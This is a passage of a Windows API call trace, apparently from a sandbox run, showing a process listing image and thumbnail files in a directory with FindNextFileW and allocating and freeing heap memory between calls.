ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04a40 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa098a0 [0066.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04a60 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa099a8 [0066.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.901] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04a80 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09ab0 [0066.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04aa0 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09bb8 [0066.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.902] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04ac0 [0066.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09cc0 [0066.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0066.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="")) returned 1 [0066.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04ae0 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09dc8 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xb40) returned 0x9fa458 [0066.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0cd30) returned 1 [0066.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04b00 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09ed0 [0066.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.903] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04b20 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa09fd8 [0066.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04b40 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0a0e0 [0066.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04b60 [0066.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0a1e8 [0066.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04b80 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0a2f0 [0066.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cd48 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0a3f8 [0066.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cd68 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0a500 [0066.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cd88 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0a608 [0066.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cda8 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0a710 [0066.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cdc8 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0a818 [0066.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="")) returned 1 [0066.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cde8 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0a920 [0066.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0ce08 [0066.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0aa28 [0066.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", 